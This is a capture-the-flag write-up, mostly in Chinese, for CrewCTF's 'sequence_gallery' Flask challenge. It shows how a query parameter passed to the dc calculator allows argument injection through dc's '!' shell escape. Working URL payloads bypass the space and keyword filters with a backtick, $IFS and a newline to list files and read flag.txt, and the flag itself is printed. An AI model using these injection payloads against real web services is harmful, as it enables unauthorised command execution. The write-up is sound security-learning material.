CrewCTF - sequence_gallery

CrewCTF - sequence_gallery

Background

Command Injection dc command in Linux with examples Linux dc命令

dc -h Usage: dc [OPTION] [file …] -e, –expression=EXPR evaluate expression -f, –file=FILE evaluate contents of file -h, –help display this help and exit -V, –version output version information and exit

Email bug reports to: bug-dc@gnu.org .

Source Code

:::spoiler Source Code

import os
import sqlite3
import subprocess

from flask import Flask, request, render_template

app = Flask(__name__)

@app.get('/')
def index():
	sequence = request.args.get('sequence', None)
	if sequence is None:
		return render_template('index.html')

	script_file = os.path.basename(sequence + '.dc')
	if ' ' in script_file or 'flag' in script_file:
		return ':('

	proc = subprocess.run(
		['dc', script_file], 
		capture_output=True,
		text=True,
		timeout=1,
	)
	output = proc.stdout

	return render_template('index.html', output=output)

if __name__ == '__main__':
	app.run(host='0.0.0.0', port=8080)

:::

Recon

這一題看了一下source code,發現他只是用了sequence參數抓取.dc檔案,然後用subprocess另外執行,所以dc到底是一個甚麼樣的指令?看了其他網站12,發現它就只是一個calculator,然後他支援自己寫的腳本,所以他就是抓sequence這個get參數,然後做簡單的輸入字串驗證(不能有flag和空格),所以可以想一下能不能用command injection的手法達到RCE,具體來說還是看了CTFTime上的WP3才知道可以用!接shell command,實際測試如下:

$ dc -e \!ls
factorial.dc  fibonacchi.dc  flag.txt  main.py  power.dc  templates
$ python
>>> import subprocess
>>> subprocess.run(['dc', "-e !ls Web/sequence_gallery/dist/src"])
factorial.dc  fibonacchi.dc  flag.txt  main.py  power.dc  templates
CompletedProcess(args=['dc', '-e !ls Web/sequence_gallery/dist/src'], returncode=0)

兩者的區別是一般的shell需要特別用反斜線在驚嘆號前而在python的interactive mode不需要,所以我們就以python的環境來生成payload :::warning 用一般的command injection做不出來,我試過`和$但都沒用,因為它是用subprocess去接所以格式不同,不然一般的shell是可以處理這些東西 :::

>>> subprocess.run(['dc', "`id`"])
dc: Could not open file `id`
CompletedProcess(args=['dc', '`id`'], returncode=0)
>>> subprocess.run(['dc', '"$(id)"'])
dc: Could not open file "$(id)"
CompletedProcess(args=['dc', '"$(id)"'], returncode=0)

Exploit - Command Injection

  1. 先測試一般的id能不能顯示 Payload: -e !id $\to$ Wrong(不能有空格) Payloda: -e%60!id $\to$ Did not show(這邊試了很久,發現是我們的指令沒有一個換行) Payload: -e%60!id%0a $\to$ Correct(所以其實中間的dummy string可以隨便設定以取代空格但一定要有換行)
  2. 所以就可以用其他payload讀flag
     /?sequence=-e`!ls%0A
     factorial.dc
     fibonacchi.dc
     flag.txt
     main.py
     power.dc
     templates
     '`' (0140) unimplemented 
     /?sequence=-e`!cat$IFS*.txt%0A
     crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}
     '`' (0140) unimplemented 
    

    :::info 最後一個payload必須要是使用$IFS搭配.txt,不能$IFSf.txt,這樣會失敗,我想可能是因為字串之間會有衝突吧 ::: Flag: crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}

  3. Trick 用dc command執行10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx會顯示DouULikeDC的字樣,算是作者的小趣味

Reference